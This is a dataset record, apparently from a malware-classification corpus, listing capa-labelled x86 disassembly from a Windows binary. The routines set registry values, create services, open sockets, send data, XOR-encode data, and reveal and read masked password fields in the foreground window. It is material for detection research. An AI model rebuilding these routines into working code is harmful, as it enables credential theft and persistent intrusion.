joyce8/EMBER2024-capa huggingface dataset:
Function at 0x449e64
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov al, byte [ebp + 8]
call fcn.00449ac8
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push 0
mov eax, edi
call fcn.00403f80
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
je 0x449ec2
mov dword [ebp - 0xc], edi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x455da0]
mov dl, 1
mov eax, dword [0x4499c0]
call fcn.0040a5d0
call fcn.00403588
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x449ecc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.00403f80
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x449f24
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x455f74]
mov dl, 1
mov eax, dword [0x4499c0]
call fcn.0040a5d0
call fcn.00403588
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.00449af8
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x44a158
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov edi, dword [ebp + 8]
xor eax, eax
push ebp
push 0x44a1eb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.00403b3c
mov eax, dword [ebp - 4]
call fcn.00403dbc
test al, al
jbe 0x44a1d5
mov byte [ebp - 9], al
mov bl, 1
lea eax, [ebp - 0x10]
xor edx, edx
mov dl, bl
mov ecx, dword [ebp - 4]
mov dl, byte [ecx + edx - 1]
mov ecx, esi
shr ecx, 8
xor dl, cl
call fcn.00403ce4
mov edx, dword [ebp - 0x10]
mov eax, edi
call fcn.00403dc4
xor eax, eax
mov al, bl
mov edx, dword [edi]
movzx eax, byte [edx + eax - 1]
add esi, eax
imul esi, dword [ebp - 8]
add esi, dword [ebp + 0xc]
inc ebx
dec byte [ebp - 9]
jne 0x44a197
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44a1f2
lea eax, [ebp - 0x10]
call fcn.00403b3c
ret
Function at 0x44a1fc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], ecx
mov esi, edx
mov edi, eax
xor eax, eax
push ebp
push 0x44a2ac
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00403b3c
xor eax, eax
push ebp
push 0x44a28c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.00403dbc
test al, al
jbe 0x44a282
mov byte [ebp - 5], al
mov bl, 1
lea eax, [ebp - 0xc]
xor edx, edx
mov dl, bl
mov dl, byte [edi + edx - 1]
mov ecx, esi
shr ecx, 8
xor dl, cl
call fcn.00403ce4
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
call fcn.00403dc4
mov eax, dword [ebp + 8]
xor eax, eax
mov al, bl
movzx eax, byte [edi + eax - 1]
add esi, eax
imul esi, dword [ebp - 4]
add esi, dword [ebp + 0xc]
inc ebx
dec byte [ebp - 5]
jne 0x44a245
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x44a296
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44a2b3
lea eax, [ebp - 0xc]
call fcn.00403b3c
ret

Function at 0x44b738
Capabilities:
Access the windows event log

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov esi, ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403f70
xor eax, eax
push ebp
push 0x44b7b6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00403f80
mov dword [ebp - 8], eax
cmp dword [ebx + 8], 0
jne 0x44b781
mov eax, dword [ebx + 4]
call fcn.00403f80
push eax
push 0
call sub.advapi32.dll_RegisterEventSourceA
mov dword [ebx + 8], eax
push 0
lea eax, [ebp - 8]
push eax
push 0
push 1
push 0
mov eax, dword [ebp + 8]
push eax
mov ax, word [ebp + 0xc]
push eax
push esi
mov eax, dword [ebx + 8]
push eax
call sub.advapi32.dll_ReportEventA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44b7bd
lea eax, [ebp - 4]
call fcn.00403b3c
ret
Function at 0x44c758
Capabilities:
Create service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x44c8ef
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x10]
xor eax, eax
call fcn.0040292c
cmp word [ebx + 0x9a], 0
je 0x44c7a1
mov edx, ebx
mov eax, dword [ebx + 0x9c]
call dword [ebx + 0x98]
mov eax, dword [ebx + 0x88]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jle 0x44c7b5
lea esi, [ebp - 8]
jmp 0x44c7b7
xor esi, esi
cmp dword [ebx + 0x78], 0
jne 0x44c7c1
xor edi, edi
jmp 0x44c7cb
mov eax, dword [ebx + 0x78]
call fcn.00403f80
mov edi, eax
mov eax, dword [ebx + 0x74]
call fcn.00403f80
push eax
push edi
lea edx, [ebp - 0x14]
mov eax, ebx
call fcn.0044beec
mov eax, dword [ebp - 0x14]
call fcn.00403f80
push eax
push esi
mov eax, dword [ebx + 0x6c]
call fcn.00403f80
push eax
mov eax, dword [ebp - 0x10]
call fcn.00403f80
push eax
mov eax, ebx
call fcn.0044c020
push eax
mov eax, ebx
call fcn.0044bff4
push eax
mov eax, ebx
call fcn.0044bfa8
push eax
push 0xf01ff
lea edx, [ebp - 0x18]
mov eax, ebx
call fcn.0044bdc0
mov eax, dword [ebp - 0x18]
call fcn.00403f80
push eax
mov eax, dword [ebx + 8]
call fcn.00403f80
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_CreateServiceA
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
mov dword [ebx + 0x88], eax
cmp dword [ebp - 0xc], 0
jne 0x44c854
call fcn.0040b6dc
xor edx, edx
push ebp
push 0x44c8cd
push dword fs:[edx]
mov dword fs:[edx], esp
xor edx, edx
push ebp
push 0x44c892
push dword fs:[edx]
mov dword fs:[edx], esp
cmp word [ebx + 0xa2], 0
je 0x44c888
mov edx, ebx
mov eax, dword [ebx + 0xa4]
call dword [ebx + 0xa0]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x44c8b6
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44c8d4
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_CloseServiceHandle
ret

Function at 0x44c900
Capabilities:
Delete service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp word [eax + 0xaa], 0
je 0x44c92c
mov esi, dword [ebp - 4]
mov edx, dword [ebp - 4]
mov eax, dword [esi + 0xac]
call dword [esi + 0xa8]
push 0xf01ff
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
call fcn.00403f80
push eax
push ebx
call sub.advapi32.dll_OpenServiceA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x44c951
call fcn.0040b6dc
xor eax, eax
push ebp
push 0x44c988
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_DeleteService
test eax, eax
jne 0x44c971
call fcn.0040b6dc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44c98f
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_CloseServiceHandle
ret
Function at 0x44db10
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
xor eax, eax
mov dword [ebp - 0x1c], eax
xor eax, eax
push ebp
push 0x44db99
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4568b8
push 0x101
call sub.wsock32.dll_WSAStartup
mov ebx, eax
test ebx, ebx
je 0x44db83
lea edx, [ebp - 0x1c]
mov eax, ebx
call fcn.00409c98
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x14], 0xb
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0xc], 0
mov eax, 0x44dbb0
mov dword [ebp - 8], eax
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x18]
push eax
push 2
mov ecx, dword [0x455e84]
mov dl, 1
mov eax, dword [0x44d3cc]
call fcn.0040a5d0
call fcn.00403588
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44dba0
lea eax, [ebp - 0x1c]
call fcn.00403b3c
ret

Function at 0x44e208
Capabilities:
Connect socket

Disassembly:
push ebx
push esi
mov esi, eax
mov eax, esi
call fcn.0044e12c
mov cl, 1
mov edx, esi
mov eax, esi
mov bx, 0xffff
call fcn.0040300c
push 0x10
lea eax, [esi + 0x18]
push eax
mov eax, dword [esi + 4]
push eax
call sub.wsock32.dll_connect
mov edx, 0x44e26c
call fcn.0044da58
mov byte [esi + 0x29], 0
test byte [esi + 0x28], 0x10
jne 0x44e25e
cmp dword [esi + 4], 0xffffffff
setne al
mov byte [esi + 8], al
mov cl, 2
mov edx, esi
mov eax, esi
mov bx, 0xffff
call fcn.0040300c
pop esi
pop ebx
ret

Function at 0x44e290
Capabilities:
Resolve dns

Disassembly:
push ebx
add esp, 0xfffffff8
mov ebx, edx
mov eax, ebx
call fcn.00403f80
push eax
call sub.wsock32.dll_gethostbyname
mov ebx, eax
lea eax, [esp + 4]
xor ecx, ecx
mov edx, 4
call fcn.00402b0c
test ebx, ebx
je 0x44e2db
mov eax, ebx
mov edx, dword [eax + 0xc]
mov edx, dword [edx]
mov cl, byte [edx]
mov byte [esp + 4], cl
mov cl, byte [edx + 1]
mov byte [esp + 5], cl
mov cl, byte [edx + 2]
mov byte [esp + 6], cl
mov al, byte [edx + 3]
mov byte [esp + 7], al
mov eax, dword [esp + 4]
mov dword [esp], eax
mov eax, dword [esp]
pop ecx
pop edx
pop ebx
ret
Function at 0x44e3b8
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x44e3e9
mov ecx, dword [0x455dd8]
mov dl, 1
mov eax, dword [0x44d3cc]
call fcn.0040a594
call fcn.00403588
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
mov eax, dword [ebp - 4]
mov dword [eax + 4], ebx
inc ebx
jne 0x44e416
mov ecx, dword [0x455d88]
mov dl, 1
mov eax, dword [0x44d3cc]
call fcn.0040a594
call fcn.00403588
xor eax, eax
push ebp
push 0x44e495
push dword fs:[eax]
mov dword fs:[eax], esp
xor ecx, ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov bx, 0xffff
call fcn.0040300c
cmp byte [ebp + 8], 0
je 0x44e471
mov eax, dword [ebp + 0x10]
push eax
mov ax, word [ebp + 0xc]
push eax
push 1
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
mov edx, esi
mov eax, dword [ebp - 4]
call fcn.0044e320
mov eax, dword [ebp - 4]
lea esi, [ebp - 0x18]
lea edi, [eax + 0x18]
mov ecx, 4
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 4]
call fcn.0044e208
jmp 0x44e48b
mov eax, dword [ebp + 0x10]
push eax
mov ax, word [ebp + 0xc]
push eax
push 0
push 1
mov ecx, dword [ebp - 8]
mov edx, esi
mov eax, dword [ebp - 4]
call fcn.0044dd44
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x44e4b2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x44e694
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffff0
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0044dfc4
xor edx, edx
push ebp
push 0x44e7f4
push dword fs:[edx]
mov dword fs:[edx], esp
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
cmp dword [eax + 0xc], 0
je 0x44e7de
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0xffffffff
je 0x44e6de
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x44e6e8
call fcn.00403628
jmp 0x44e7fb
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.004111d4
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x1010]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov ecx, 0x1000
mov ebx, dword [eax]
call dword [ebx + 4]
mov ebx, eax
test ebx, ebx
jle 0x44e7d3
push 0
push ebx
lea eax, [ebp - 0x1010]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
cmp eax, 0xffffffff
jne 0x44e791
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x2733
je 0x44e781
lea eax, [ebp - 0x10]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov bx, 0xfffe
call fcn.0040300c
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
push ebp
call fcn.0044e64c
pop ecx
mov eax, dword [ebp - 4]
mov dl, byte [0x44e804]
cmp dl, byte [eax + 0x28]
je 0x44e7da
call fcn.0040a47c
jmp 0x44e7da
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 0xc]
call fcn.004111e4
jmp 0x44e7da
cmp eax, ebx
jge 0x44e7aa
mov edx, dword [ebp - 0xc]
add edx, eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.004111e4
jmp 0x44e6e8
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.004111d4
mov ebx, eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.004111f0
cmp ebx, eax
jne 0x44e6e8
push ebp
call fcn.0044e64c
pop ecx
jmp 0x44e7da
push ebp
call fcn.0044e64c
pop ecx
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44e7fb
mov eax, dword [ebp - 4]
call fcn.0044dfd0
ret
mov al, byte [ebp - 5]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44e808
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov esi, ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44e92a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0044dfc4
xor eax, eax
push ebp
push 0x44e90d
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x44e858
call fcn.00403628
jmp 0x44e914
push 0
push esi
push ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x44e8f7
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x44e8f7
lea eax, [ebp - 0xc]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov bx, 0xfffe
call fcn.0040300c
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x44e8f7
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.00409c98
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
mov eax, 0x44e944
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
lea eax, [ebp - 0x24]
push eax
push 2
mov ecx, dword [0x455e84]
mov dl, 1
mov eax, dword [0x44d3cc]
call fcn.0040a5d0
call fcn.00403588
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44e914
mov eax, dword [ebp - 4]
call fcn.0044dfd0
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44e931
lea eax, [ebp - 0x28]
call fcn.00403b3c
ret
Function at 0x44f808
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov ebp, edx
mov ebx, eax
mov eax, 0x10000
call fcn.004026fc
mov dword [ebx + 0x2dc], eax
mov edi, ebp
test edi, edi
jle 0x44f844
mov esi, 1
mov eax, ebp
dec eax
call fcn.00402b2c
inc eax
mov edx, dword [ebx + 0x2dc]
mov word [edx + esi*2 - 2], ax
inc esi
dec edi
jne 0x44f82c
mov esi, ebp
cmp esi, 1
jl 0x44f8b8
mov eax, dword [ebx + 0x2dc]
movzx eax, word [eax + esi*2 - 2]
mov ecx, dword [ebx + 0x2d4]
mov al, byte [ecx + eax - 1]
mov edx, dword [ebx + 0x2d4]
cmp al, byte [edx + esi - 1]
je 0x44f8b3
mov ecx, dword [ebx + 0x2dc]
movzx ecx, word [ecx + esi*2 - 2]
mov edi, dword [ebx + 0x2d4]
xor byte [edx + esi - 1], al
mov edx, dword [ebx + 0x2dc]
movzx edx, word [edx + esi*2 - 2]
mov eax, dword [ebx + 0x2d4]
mov cl, byte [eax + esi - 1]
xor byte [eax + edx - 1], cl
mov edx, dword [ebx + 0x2dc]
movzx edx, word [edx + esi*2 - 2]
mov eax, dword [ebx + 0x2d4]
mov dl, byte [eax + edx - 1]
xor byte [eax + esi - 1], dl
dec esi
test esi, esi
jne 0x44f84b
mov edx, 0x10000
mov eax, dword [ebx + 0x2dc]
call fcn.00402714
mov edi, ebp
test edi, edi
jle 0x44f940
mov esi, 1
mov eax, dword [ebx + 0x2d4]
mov dl, byte [eax + esi - 1]
mov byte [eax + esi - 1], dl
mov eax, dword [ebx + 0x2d4]
mov al, byte [eax + esi - 1]
mov byte [esp], al
mov al, byte [ebx + 0x37]
xor al, byte [ebx + 0x36]
xor al, byte [ebx + 0x35]
xor al, byte [ebx + 0x34]
mov byte [esp + 1], al
mov eax, 0xff
call fcn.00402b2c
mov edx, dword [ebx + 0x2d4]
mov dl, byte [edx + esi - 1]
xor dl, byte [esp + 1]
xor al, dl
mov edx, dword [ebx + 0x2d4]
mov byte [edx + esi - 1], al
xor eax, eax
mov al, byte [esp]
add eax, dword [ebx + 0x34]
add eax, dword [ebx + 0x30]
imul dword [ebx + 0x2ec]
add eax, dword [ebx + 0x2f0]
mov dword [ebx + 0x34], eax
inc esi
dec edi
jne 0x44f8d3
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x44fd54
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x44feb8
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x40dbe8]
call fcn.00402e00
mov dword [ebp - 4], eax
call sub.user32.dll_GetDesktopWindow
push 5
push eax
call sub.user32.dll_GetWindow
mov ebx, eax
mov eax, 0xc8
call fcn.004026fc
mov esi, eax
test ebx, ebx
jbe 0x44fde9
push 0xc8
push esi
push ebx
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 0x14]
mov edx, esi
call fcn.00403cf4
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
call fcn.00407f50
cmp dword [ebp - 0x10], 0
je 0x44fddb
lea eax, [ebp - 0x18]
mov edx, esi
call fcn.00403cf4
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x34]
push 2
push ebx
call sub.user32.dll_GetWindow
mov ebx, eax
test ebx, ebx
ja 0x44fd9f
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
jle 0x44fe8e
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x14]
mov ebx, eax
dec ebx
test ebx, ebx
jl 0x44fe8e
inc ebx
mov dword [ebp - 8], 0
lea ecx, [ebp - 0x1c]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0xc]
call fcn.00407d7c
mov edx, dword [ebp - 0xc]
mov eax, 0x44fed0
call fcn.004040a8
test eax, eax
je 0x44fe5b
mov eax, dword [ebp - 0xc]
call fcn.00403f80
push eax
push 0
call sub.user32.dll_FindWindowA
push 0
push 0
push 0x10
push eax
call sub.user32.dll_PostMessageA
jmp 0x44fe88
mov edx, dword [ebp - 0xc]
mov eax, 0x44feec
call fcn.004040a8
test eax, eax
je 0x44fe88
mov eax, dword [ebp - 0xc]
call fcn.00403f80
push eax
push 0
call sub.user32.dll_FindWindowA
push 0
push 0
push 0x10
push eax
call sub.user32.dll_PostMessageA
inc dword [ebp - 8]
dec ebx
jne 0x44fe13
mov eax, esi
call fcn.00402714
mov eax, dword [ebp - 4]
call fcn.00402e30
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44febf
lea eax, [ebp - 0x1c]
mov edx, 5
call fcn.00403b60
ret
Function at 0x44fff0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x4501dc
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0xc8
call fcn.004026fc
mov edi, eax
mov eax, 0xc8
call fcn.004026fc
mov ebx, eax
call sub.user32.dll_GetForegroundWindow
mov esi, eax
push 0xc8
push edi
push esi
call sub.user32.dll_GetClassNameA
lea eax, [ebp - 4]
mov edx, edi
call fcn.00403cf4
mov eax, dword [ebp - 4]
mov edx, 0x4501f4
call fcn.00403ecc
jne 0x4501b3
push 0xc8
push ebx
push esi
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403cf4
mov eax, dword [ebp - 8]
mov edx, 0x450204
call fcn.00403ecc
jne 0x4501b3
push 0
push 0x450210
push 0
push esi
call sub.user32.dll_FindWindowExA
test eax, eax
je 0x4500a0
push ebx
push 0xc8
push 0xd
push eax
call sub.user32.dll_SendMessageA
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00403cf4
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0xc]
mov edx, 0x450224
call fcn.00403e08
mov edx, dword [ebp - 0xc]
mov eax, dword [0x455f00]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d0]
call fcn.00428700
push 0
push 0x450230
push 0
push esi
call sub.user32.dll_FindWindowExA
mov esi, eax
test esi, esi
je 0x4501b3
mov eax, dword [0x455d40]
mov eax, dword [eax]
mov edx, 0x450240
call fcn.00403ecc
jne 0x450158
push 0
push 0
push 0xcc
push esi
call sub.user32.dll_SendMessageA
push ebx
push 0xc8
push 0xd
push esi
call sub.user32.dll_SendMessageA
push 0
push 0x2a
push 0xcc
push esi
call sub.user32.dll_SendMessageA
lea eax, [ebp - 0x18]
mov edx, ebx
call fcn.00403cf4
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 0x45024c
call fcn.00403e08
mov edx, dword [ebp - 0x14]
mov eax, dword [0x455f00]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d4]
call fcn.00428700
jmp 0x4501b3
push 0
push 0
push 0xcc
push esi
call sub.user32.dll_PostMessageA
push ebx
push 0xc8
push 0xd
push esi
call sub.user32.dll_SendMessageA
push 0
push 0x2a
push 0xcc
push esi
call sub.user32.dll_PostMessageA
lea eax, [ebp - 0x20]
mov edx, ebx
call fcn.00403cf4
mov ecx, dword [ebp - 0x20]
lea eax, [ebp - 0x1c]
mov edx, 0x45024c
call fcn.00403e08
mov edx, dword [ebp - 0x1c]
mov eax, dword [0x455f00]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d4]
call fcn.00428700
mov eax, edi
call fcn.00402714
mov eax, ebx
call fcn.00402714
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4501e3
lea eax, [ebp - 0x20]
mov edx, 8
call fcn.00403b60
ret